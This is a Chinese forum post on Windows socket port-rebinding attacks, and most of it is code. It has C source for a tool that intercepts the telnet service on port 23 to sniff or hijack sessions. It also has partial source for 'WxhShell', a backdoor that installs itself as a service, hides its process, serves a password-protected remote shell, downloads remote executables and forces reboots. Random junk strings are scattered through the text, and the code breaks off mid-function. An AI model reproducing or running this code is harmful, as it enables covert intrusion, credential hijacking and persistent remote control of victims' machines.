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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: N^lAG"Jao[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +uELTHH=  
/0 _zXQyV  
  saddr.sin_family = AF_INET; x=h0Fq ,T  
4HW;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )XpV u  
b9y)wBC%`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G,B?&gFX  
r4EoJyt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~zMDY F"&  
n%*tMr9s  
  这意味着什么?意味着可以进行如下的攻击: XwtAF3oz  
RYH)AS4w'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bGu([VB  
!f`5B( @  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9Yn)t#G'`F  
:b5XKv^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v[VC2D  
e]+7DE  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lr0M<5d=p  
zXjw nep  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '^DUq?E4  
>4~#%&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BR3wX4i\  
-n-Z/5~ X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (V!0'9c  
PGkCOmq   
  #include 5~QT g  
  #include 1) 'Iu`k/  
  #include [EER4@_  
  #include    <W2ZoqaV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xdqK.Z%  
  int main() 7C?E z%a@  
  { U:\p$hL9  
  WORD wVersionRequested; BtzYA"  
  DWORD ret; Sj@15 W  
  WSADATA wsaData; jccOsG9;_  
  BOOL val; )%t7\1)B3  
  SOCKADDR_IN saddr; :WO{xg  
  SOCKADDR_IN scaddr; &1l~&,,  
  int err; *t]v}ZV*  
  SOCKET s; 0X#+#[W  
  SOCKET sc; !UVk9  
  int caddsize; [EruyWK  
  HANDLE mt; bLco:-G1E1  
  DWORD tid;   V,vc_d?,_o  
  wVersionRequested = MAKEWORD( 2, 2 ); Bh,Q8%\6  
  err = WSAStartup( wVersionRequested, &wsaData ); vbaC+AiX  
  if ( err != 0 ) { [Teh*CV  
  printf("error!WSAStartup failed!\n"); >e/ r2U  
  return -1; `|,Bm|~:  
  } {pC\\}  
  saddr.sin_family = AF_INET; zQ_z7FJCB  
   3 1k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >4M<W4  
>MPa38  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p_r4^p\  
  saddr.sin_port = htons(23); [83>T ,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l|7O)  
  { ;P8(Zf3wJb  
  printf("error!socket failed!\n"); +<{m45  
  return -1; %i595Ij-]  
  } %jT w  
  val = TRUE; Cdmy.gx^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :]-$dEu&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KGD'mByt"  
  { [[X+P 0`r  
  printf("error!setsockopt failed!\n"); %mu>-hac  
  return -1; MOeoU1Hn  
  } ZJvo9!DL|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h 1*FPsc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q vJZkGX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =|"= l1  
gvlFumg2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (gU2"{:]J  
  { X|'2R^V.  
  ret=GetLastError(); MnS+nH!d  
  printf("error!bind failed!\n"); =+\$e1Mb*  
  return -1; O+b6lg)q  
  } r>O|L%xpv  
  listen(s,2); \OY}GRKt  
  while(1) :X Lp  
  { 2lo:a{}j  
  caddsize = sizeof(scaddr); %I0}4$  
  //接受连接请求 &Sa~/!M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); e[8UH=`|  
  if(sc!=INVALID_SOCKET) 1yS&~ y?a  
  { QAUykS8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~ aA;<#  
  if(mt==NULL) t#~XLCE  
  { _*n)mlLln  
  printf("Thread Creat Failed!\n"); e=L*&X  
  break; \XDmK   
  } h$/JGm5uDb  
  } H?{ MRe  
  CloseHandle(mt); "k, K~@}  
  } QF&6?e06p0  
  closesocket(s); ]'UgZsJ  
  WSACleanup(); NNp}|a9  
  return 0; _#vGs:-x&  
  }   wASX\D }  
  DWORD WINAPI ClientThread(LPVOID lpParam) GFt1  
  { yquAr$L!  
  SOCKET ss = (SOCKET)lpParam; \Z'/+}^h  
  SOCKET sc; shzG Eb  
  unsigned char buf[4096]; N<n8'XDdG  
  SOCKADDR_IN saddr; bw5T2wYZ  
  long num; |]tZ hI"3<  
  DWORD val; XWXr0>!,?  
  DWORD ret; I=odMw7Hj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7>&1nBh. f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   AqqHD=Yp  
  saddr.sin_family = AF_INET; yW`e |!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R{`gR"*  
  saddr.sin_port = htons(23); =x#&\ui  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dm& /K 4c  
  { 3HKxYvc C  
  printf("error!socket failed!\n"); WGMb8 /{$P  
  return -1; s`1^*Dl%+  
  } /=/ HB  
  val = 100; t)'dF*L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .pW o>`"  
  {  Fs)  
  ret = GetLastError(); qRl/Sl#F  
  return -1; 4m\([EO  
  } q)k{W>O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OfJd/D  
  { Y;g% e3nu  
  ret = GetLastError(); v#F-<?Vv  
  return -1; &=NJ  
  } [S)G$JW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @ t|3gF$X  
  { BfVBywty  
  printf("error!socket connect failed!\n"); O]bKNA.5  
  closesocket(sc); BUDGyl/=  
  closesocket(ss); X|Dpt2A=  
  return -1; M}KZG'7  
  } /tzlbI]z  
  while(1) = hhvmo  
  { ,2_w=<hq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y$+QNi  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lvPpCAXY  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 wE4;Rk1  
  num = recv(ss,buf,4096,0); o?y"]RCM  
  if(num>0) :~er h}~ps  
  send(sc,buf,num,0); gCL{Cw  
  else if(num==0) ` yYvYc  
  break; :cdQ(O.m  
  num = recv(sc,buf,4096,0); ~b#OFnyG  
  if(num>0) 7*MU2gb  
  send(ss,buf,num,0); o$t &MST?i  
  else if(num==0) 3(o7co-f  
  break; f B7ljg  
  } <5k&)EoT  
  closesocket(ss); E|{m"RUOy  
  closesocket(sc); 1 w17L]4  
  return 0 ; ;:?*t{r4#  
  } kF?S 2(vH  
3>M.]w6{  
}7Jp :.qk  
========================================================== >>j+LRf*  
#4N >d~  
下边附上一个代码,,WXhSHELL p {?}g'  
XECikld>  
========================================================== s6/cL|Ex  
4]EvT=Ro  
#include "stdafx.h" Rf?%Tv0\  
/`}6rXnw9  
#include <stdio.h> g}YToOs  
#include <string.h> B*2{M  
#include <windows.h> >] -<uT_  
#include <winsock2.h> p7$3`t 6u  
#include <winsvc.h> *w|iu^G  
#include <urlmon.h> P8IRH#ED  
wx./"m.M  
#pragma comment (lib, "Ws2_32.lib") #w;;D7{@m  
#pragma comment (lib, "urlmon.lib") Vf$1Sjw  
NZfd_? 3  
#define MAX_USER   100 // 最大客户端连接数 'QR4~`6I  
#define BUF_SOCK   200 // sock buffer ET3 ,9+Gj  
#define KEY_BUFF   255 // 输入 buffer j3LNnZY  
0R*}QXph  
#define REBOOT     0   // 重启 zu<>"5}]  
#define SHUTDOWN   1   // 关机 :v#8O~  
@ct#s:t  
#define DEF_PORT   5000 // 监听端口 2]3G1idB  
c8q G\\t[  
#define REG_LEN     16   // 注册表键长度 F'XlJ M  
#define SVC_LEN     80   // NT服务名长度  tI'e ctn  
xY+A]Up|w  
// 从dll定义API /3s@6Ex}E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pJn>oGeJ&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @BXaA0F4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kn. iyR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?`"<DH~:0B  
Bu' :2"7  
// wxhshell配置信息 [?|5 oaK  
struct WSCFG { ]a=l^Pc(xN  
  int ws_port;         // 监听端口 PB@-U.Z  
  char ws_passstr[REG_LEN]; // 口令 $6Z[|9W^A  
  int ws_autoins;       // 安装标记, 1=yes 0=no  t9]r  
  char ws_regname[REG_LEN]; // 注册表键名 =^by0E2  
  char ws_svcname[REG_LEN]; // 服务名 cmae&Atotw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *%nX#mwz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ON NW.xHp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'h k @>"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no so'eZ"A:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TZkTz P[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v3Eo@,-  
 *6'_5~G  
}; hl}dgp((  
/lru"R D  
// default Wxhshell configuration x7Eeb!s0f,  
struct WSCFG wscfg={DEF_PORT, S;BP`g<l=  
    "xuhuanlingzhe", IG>>j}  
    1, ^T=5zqRD  
    "Wxhshell", )|Jr|8  
    "Wxhshell", :ECw \_"0$  
            "WxhShell Service", C>M6&=  
    "Wrsky Windows CmdShell Service", 6mX:=Q  
    "Please Input Your Password: ", 8XgVY9]Qm  
  1, [&fWF~D-p<  
  "http://www.wrsky.com/wxhshell.exe", =g1D;  
  "Wxhshell.exe" 1/!nV  
    }; ddl3 fl#f  
W%w82@'  
// 消息定义模块 7~:>WMv9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kgps_tY%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j_hjCQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oA[2)BU  
char *msg_ws_ext="\n\rExit."; - f+CyhR"*  
char *msg_ws_end="\n\rQuit."; dnk1Mu<  
char *msg_ws_boot="\n\rReboot..."; uLF\K+cz  
char *msg_ws_poff="\n\rShutdown..."; dr}O+7_7%-  
char *msg_ws_down="\n\rSave to "; ud 5x$`  
m79m{!q$-  
char *msg_ws_err="\n\rErr!"; S|tA[klh  
char *msg_ws_ok="\n\rOK!"; l8eT{!4  
)_WH#-}  
char ExeFile[MAX_PATH]; sY&r bJ(P  
int nUser = 0; *pmoLiuB>  
HANDLE handles[MAX_USER]; 9.^-us1  
int OsIsNt; ]rKH|i  
CdE2w?1  
SERVICE_STATUS       serviceStatus; [qq`cT@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dV'6m@C  
L>eQ*311  
// 函数声明 l@ (t^68OD  
int Install(void); Z(#XFXd  
int Uninstall(void); _ak.G=  
int DownloadFile(char *sURL, SOCKET wsh); /%c+ eL}l  
int Boot(int flag); \t[ hg  
void HideProc(void); %9fa98>  
int GetOsVer(void); !x+MVJ]  
int Wxhshell(SOCKET wsl); `W6:=H  
void TalkWithClient(void *cs); Be'?#Qe   
int CmdShell(SOCKET sock); ,!xz*o+#@  
int StartFromService(void); d91I  
int StartWxhshell(LPSTR lpCmdLine); Sz^TG F  
PL9zNCr-[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `@W3sW/^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aU,0gvI(}  
zS#f%{   
// 数据结构和表定义 Tq_1wX'\  
SERVICE_TABLE_ENTRY DispatchTable[] = H!Fr("6}  
{ u66TrYStG  
{wscfg.ws_svcname, NTServiceMain}, 56 /.*qa  
{NULL, NULL} ;2+ FgOj  
}; 9CgXc5  
r! cNc  
// 自我安装 vy>];!Cu  
int Install(void) +y tT)S  
{ 3uB=L 7.  
  char svExeFile[MAX_PATH]; ^d5gz0d  
  HKEY key; vY8WqG]  
  strcpy(svExeFile,ExeFile); T<w*dX7F0K  
/TR"\xQF  
// 如果是win9x系统,修改注册表设为自启动 XY&]T'A  
if(!OsIsNt) { i'[n`|c<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HPv&vdr3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %`t]FV^#  
  RegCloseKey(key); *rujdQf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $_%2D3-;D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I_R5\l}O+D  
  RegCloseKey(key); TZvBcNi   
  return 0; &z{dr ~  
    } *RUd!]bh  
  } VuYWb)@  
} N?Z+zN&P  
else { U~JG1#z6  
>n@>h$]  
// 如果是NT以上系统,安装为系统服务 3M`hn4)K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uaZ"x& oZ#  
if (schSCManager!=0) ru(?a~lF8~  
{ q329z>  
  SC_HANDLE schService = CreateService L~SrI{aYPf  
  ( FcJ.)U  
  schSCManager, ,Yiq$Z{qQ  
  wscfg.ws_svcname, `&"H* Ie  
  wscfg.ws_svcdisp,  h;:Se  
  SERVICE_ALL_ACCESS, Huug_E+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,& \&::R  
  SERVICE_AUTO_START, NoSqzJyh  
  SERVICE_ERROR_NORMAL, W}<M?b4tP  
  svExeFile, "OlI-^y  
  NULL, ys~p(  
  NULL, NUxAv= xl  
  NULL, .wt>.mUH  
  NULL, XQ+-+CD  
  NULL @h z0:ezg:  
  ); _mI:Lr#dT  
  if (schService!=0) *cb D&R\  
  { ` i^`Q  
  CloseServiceHandle(schService); c=jTs+h'  
  CloseServiceHandle(schSCManager); *n$m;yI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )KTWLr;  
  strcat(svExeFile,wscfg.ws_svcname); i85+p2i7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hz>yv@1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S{`!9Pii  
  RegCloseKey(key); 9 up* g  
  return 0; HCe-]nMd  
    } 0YsN82IDD  
  } :Z7"c`6L!~  
  CloseServiceHandle(schSCManager); x"h)"Y[c5  
} :a^,Ei-&  
} I _Mqh4];  
0 6G[^  
return 1; jT wM<?  
} L;(3u'  
2kmna/Qa6  
// 自我卸载 sL[(cX?;2  
int Uninstall(void) =O}%bZ)Q  
{ 8zB+%mcF  
  HKEY key; EcS-tE 4%  
#/ gme  
if(!OsIsNt) { )4o=t.O\K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KzFs#rhpn  
  RegDeleteValue(key,wscfg.ws_regname); V }r_   
  RegCloseKey(key); xVwi }jtG|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cvLcre% >A  
  RegDeleteValue(key,wscfg.ws_regname); &&QDEDszp  
  RegCloseKey(key); hnfrnYH  
  return 0; QeOt; {_|  
  } 3vvFF]D5k  
} _`Yvfz3  
} #\!hBL @b  
else { "l2N_xX;  
s'fcAh,c6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,a?\i JNb  
if (schSCManager!=0) Fy+7{=?^F  
{ 3!L<=X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -^nQ^Td=j  
  if (schService!=0) Aaw:B?4)  
  { fU){]YP  
  if(DeleteService(schService)!=0) { ;H#R{uR_<  
  CloseServiceHandle(schService); ]6c2[r?g{  
  CloseServiceHandle(schSCManager); . AQ3zpy5B  
  return 0; BOl$UJ|K  
  } b3HTCO-,fC  
  CloseServiceHandle(schService); J|64b  
  } kod_ 1LD  
  CloseServiceHandle(schSCManager); b\uB  
} /Z9`uK  
} <xh'@592  
=ym~= S  
return 1; .qU%SmQ^  
} Pt)}HF|u  
kHIQ/\3?Q  
// 从指定url下载文件 [ QL<&:s&  
int DownloadFile(char *sURL, SOCKET wsh) cE8 _keR~  
{ HI`A;G]  
  HRESULT hr; d-S'y-V?d  
char seps[]= "/"; sB1tce  
char *token; PFn[[~5V  
char *file; 6s"bstc{  
char myURL[MAX_PATH]; `LHfAXKN  
char myFILE[MAX_PATH]; +`vZg^_c`  
!v;_@iW3e  
strcpy(myURL,sURL); Q8/0Cb/  
  token=strtok(myURL,seps); o4 OEA)k)=  
  while(token!=NULL) ;cHI3V  
  { u2x=YUWb]  
    file=token; kAF}*&Kzd~  
  token=strtok(NULL,seps); ke6cZV5w  
  } Dp |FyP_w  
|"E9DD]{  
GetCurrentDirectory(MAX_PATH,myFILE); DO,&Foh\  
strcat(myFILE, "\\"); 2B?i2[a,  
strcat(myFILE, file); '!L1z45  
  send(wsh,myFILE,strlen(myFILE),0); xwp?2,<  
send(wsh,"...",3,0); Y,Zv0-"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &-)Y[#\J  
  if(hr==S_OK) /F9lW}pd  
return 0; . t%Vx  
else WMl^XZO  
return 1; =X'7V}Q}  
Gbm_xEPC  
} A =#-u&l  
]M"'qC3g  
// 系统电源模块 Q>c6ouuJ  
int Boot(int flag) Y_YIJ@  
{ <%JO 3E  
  HANDLE hToken; cQ ;Ry!$  
  TOKEN_PRIVILEGES tkp; DN{G$$or  
x{o5Ha{  
  if(OsIsNt) { [jn;| 3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BiCa "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Sg~A'dG  
    tkp.PrivilegeCount = 1; zi[M{bm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M{RZ-)IC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ? Z fhz   
if(flag==REBOOT) { q;~>h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fhWD>;%F%  
  return 0; u`2k6.-  
} s3!LR2qiF  
else { ;<R_j%*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~"0X,APR5  
  return 0; R*fR?  
} myX0<j3G5  
  } >^HTghgRD  
  else { w:+#,,rwzV  
if(flag==REBOOT) { Bzt`9lg  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QNwAuH T  
  return 0; r:rJv  
} fzG1<Gem  
else { ]H7Mx\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /\I%)B47^9  
  return 0; l#.,wOO{  
} ;!sGfrs 0$  
} r@UY$z  
 M.^A`   
return 1; 80>!qG  
} 2![W N*N>O  
&bK$!8Z  
// win9x进程隐藏模块 rM.<Gi05Qe  
void HideProc(void) cHct|Z u  
{ *lF%8k"Al  
3(p6ak2lv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q8:ocEhR  
  if ( hKernel != NULL ) o_m.MMEU  
  { x}j41E}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^i1:PlW]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dph6aN(49  
    FreeLibrary(hKernel); k(+u"T  
  } TBT*j&!L  
WfO$q^'?DP  
return; CxQ,yd;>  
} Khd,|pM  
 Bz~h-  
// 获取操作系统版本 s\R?@  
int GetOsVer(void) t+q`h3  
{ <ft9B05*  
  OSVERSIONINFO winfo; RyD$4jk+T"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7E)7sd  
  GetVersionEx(&winfo); f`rz)C03  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U# B  
  return 1; R/|{?:r?:x  
  else AE _~DZ:%c  
  return 0; dig76D_[e  
}  p ivS8C  
XjU;oh4:.  
// 客户端句柄模块 1]`HX=cl  
int Wxhshell(SOCKET wsl) k@U`?7X  
{ [nD4\x+  
  SOCKET wsh; )zV5KC{{  
  struct sockaddr_in client; 9%6`ZS~3  
  DWORD myID; X  jN.X  
Q6>( Z  
  while(nUser<MAX_USER) 5 Vqvb|  
{ zxdO3I  
  int nSize=sizeof(client); Jl ?Q}SB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KL`>mJo$  
  if(wsh==INVALID_SOCKET) return 1; v}D!  
*?&O8SSBH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iK:]Q8b  
if(handles[nUser]==0) RVnYe='  
  closesocket(wsh); 0n=E.qZ9c  
else Gzt5efygKt  
  nUser++; oFp&j@`k8j  
  } sAlgp2-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ztpb/9J9  
[L^#<@S  
  return 0; k({8C`&tK/  
} ,cEcMaJ  
gK#w$s50  
// 关闭 socket 8ipLq`)  
void CloseIt(SOCKET wsh) [Nc  Ok,  
{ Pme?`YO$x  
closesocket(wsh); 9Z 4R!Q  
nUser--; :g";p.~=  
ExitThread(0); )`-]nMc  
} $)V4Eu;  
-2_$zk*n  
// 客户端请求句柄 zPYa@0I  
void TalkWithClient(void *cs) &@-glF5  
{ K e8cfd~c  
$n"Llw&)  
  SOCKET wsh=(SOCKET)cs; L+L9)8FJ  
  char pwd[SVC_LEN]; V  ""  
  char cmd[KEY_BUFF]; )`^:G3w  
char chr[1]; {5JXg9um  
int i,j; C-Z,L#  
}1dh/Cc`  
  while (nUser < MAX_USER) { *93 N0m4Rl  
i\G3 u#  
if(wscfg.ws_passstr) { _T$\$v$ {  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T-TH. R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -C+vmY*@  
  //ZeroMemory(pwd,KEY_BUFF); Jhc S  
      i=0; 3F1Z$d(  
  while(i<SVC_LEN) { KK6YA  
?Dm&A$r  
  // 设置超时 qfU3Cwy  
  fd_set FdRead; !:5n  
  struct timeval TimeOut; ]u';zJ.  
  FD_ZERO(&FdRead); ]'q<wPi  
  FD_SET(wsh,&FdRead); YBP{4Rl  
  TimeOut.tv_sec=8; *gn*S3Is[j  
  TimeOut.tv_usec=0; W% ud nJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _?ZT[t<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e+[J9;g  
tDo0Q/`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;+U9;  
  pwd=chr[0]; T_WQzEL^  
  if(chr[0]==0xd || chr[0]==0xa) { nC^'2z  
  pwd=0; uM8gfY)OI  
  break; 9D,& )6  
  } Up&q#vqIj  
  i++; TfPx   
    } MR}\fw$(.  
|=POV]K  
  // 如果是非法用户,关闭 socket x3Uv&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :-)[B^0  
} EIRf6jL  
]!N5jbA@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OBZj-`fqJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X#yl8k_  
@!$NUY8,A#  
while(1) { rxARJ so  
2wd(0K}b  
  ZeroMemory(cmd,KEY_BUFF); ; F=_ozWV*  
:$j~;)2  
      // 自动支持客户端 telnet标准   1;W>ceN"  
  j=0; 'SmdU1]4BD  
  while(j<KEY_BUFF) { 4]bT O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PewLg<?,G4  
  cmd[j]=chr[0]; 4jpF^&y7u^  
  if(chr[0]==0xa || chr[0]==0xd) { =EKJ!{  
  cmd[j]=0; DQ)SMqOotw  
  break; c nzPq\  
  } 1 .M?Hp9i  
  j++; j*5VJ:  
    } 2Y+*vNs3  
TO.NCO\x  
  // 下载文件 vXF\PMf  
  if(strstr(cmd,"http://")) { &a`-NRU#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); II91Ia  
  if(DownloadFile(cmd,wsh)) OH~t\fQ1Zf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eZcm3=WV|  
  else *s^5 BLI9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZZTV >:  
  } Cv|:.y  
  else { 0\+Qi?&  
? _W*7<  
    switch(cmd[0]) { z+b~#f3  
  181P;R=}<  
  // 帮助 t`AD9 H"\!  
  case '?': { ^6*? a9jO>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CqoL5qt  
    break; J.<m@\U  
  } j- A|\:   
  // 安装 f_7p.H6\  
  case 'i': { `&_qK~&/X  
    if(Install()) /Yh8r1^2tZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); % Y @3)  
    else 8^{BuUA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7v-C-u[E`  
    break; Lg^m?~{  
    } (/Ubw4unI  
  // 卸载 ty78)XI  
  case 'r': { c:0$ M w=  
    if(Uninstall()) i`Tne3)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]HRZ9oP  
    else /Hx\ gtV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U2aE:$oeYi  
    break; `9ieTt  
    } p})&Zl)V  
  // 显示 wxhshell 所在路径 9qpH 8j+  
  case 'p': { m[}$&i$(  
    char svExeFile[MAX_PATH]; R9W(MLe58  
    strcpy(svExeFile,"\n\r"); pQp}HD!-  
      strcat(svExeFile,ExeFile); >eC^]#c  
        send(wsh,svExeFile,strlen(svExeFile),0); gor6c3i  
    break; ZD,l 2DQ?  
    } 8[DD=[&  
  // 重启 4MM#\  
  case 'b': { Dihk8qJ/6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rwr0$_A  
    if(Boot(REBOOT)) F4}Zl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ehU:3L`s  
    else { w Bl=]BW!%  
    closesocket(wsh); ESs)|t h  
    ExitThread(0); $d"6y  
    } 6+It>mnR  
    break; ~DJ/sY2/  
    } ;'h7 j*6  
  // 关机 9J?j2!D  
